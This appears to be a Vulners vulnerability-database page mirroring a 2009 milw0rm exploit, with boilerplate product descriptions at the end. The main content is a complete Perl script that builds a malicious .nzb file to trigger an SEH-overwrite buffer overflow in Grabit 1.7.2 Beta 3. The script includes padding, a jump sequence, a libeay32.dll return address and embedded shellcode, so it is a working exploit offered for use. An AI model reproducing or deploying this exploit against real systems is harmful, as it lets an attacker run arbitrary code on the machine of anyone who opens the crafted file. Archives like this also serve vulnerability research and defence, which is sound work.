Lucene search
K

Grabit <= 1.7.2 Beta 3 (.nzb) Local Buffer Overflow Exploit (SEH)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Grabit <= 1.7.2 Beta 3 (.nzb) Local Buffer Overflow Exploit (SEH

Code

                                                #!/usr/bin/perl
# Grabit&#60;=1.7.2 Beta 3 (.nzb) SEH Overwrite Exploit
# Coded by: Gaurav Baruah
# Discovery: Niels Teusink
#http://packetstormsecurity.org/filedesc/grabit-overflow.txt.html
# Greetz to Vivek
#Tested on XP SP3 and XP SP2 (en)
my $header1=
&#34;&#60;?xml version=\&#34;1.0\&#34;?&#62;
&#60;!DOCTYPE nzb
  PUBLIC \&#34;-//newzBin//DTD NZB 1.0//EN\&#34;
         \&#34;&#34;;

my $shellcode=
&#34;\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe8&#34;.
&#34;\x61\xfb\x36\x83\xeb\xfc\xe2\xf4\x14\x89\xbf\x36\xe8\x61\x70\x73&#34;.
&#34;\xd4\xea\x87\x33\x90\x60\x14\xbd\xa7\x79\x70\x69\xc8\x60\x10\x7f&#34;.
&#34;\x63\x55\x70\x37\x06\x50\x3b\xaf\x44\xe5\x3b\x42\xef\xa0\x31\x3b&#34;.
&#34;\xe9\xa3\x10\xc2\xd3\x35\xdf\x32\x9d\x84\x70\x69\xcc\x60\x10\x50&#34;.
&#34;\x63\x6d\xb0\xbd\xb7\x7d\xfa\xdd\x63\x7d\x70\x37\x03\xe8\xa7\x12&#34;.
&#34;\xec\xa2\xca\xf6\x8c\xea\xbb\x06\x6d\xa1\x83\x3a\x63\x21\xf7\xbd&#34;.
&#34;\x98\x7d\x56\xbd\x80\x69\x10\x3f\x63\xe1\x4b\x36\xe8\x61\x70\x5e&#34;.
&#34;\xd4\x3e\xca\xc0\x88\x37\x72\xce\x6b\xa1\x80\x66\x80\x91\x71\x32&#34;.
&#34;\xb7\x09\x63\xc8\x62\x6f\xac\xc9\x0f\x02\x9a\x5a\x8b\x61\xfb\x36&#34;;

my $next_seh = &#34;\xEB\x06\x90\x90&#34;;
my $seh = &#34;\xE5\x56\x01\x10&#34; ;   #libeay32.dll
my $file = &#34;test.nzb&#34;;

open (nzb, &#34;&#62;./$file&#34;) || die &#34;\nCan&#39;t open $file: $!&#34;;
print nzb &#34;$header1&#34; . &#34;\x41&#34; x 248 . &#34;$next_seh&#34; . &#34;$seh&#34; . &#34;$shellcode&#34;;
close (nzb);
sleep 1;
print &#34;\nFile $file successfully created!\n&#34;;

# milw0rm.com [2009-05-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation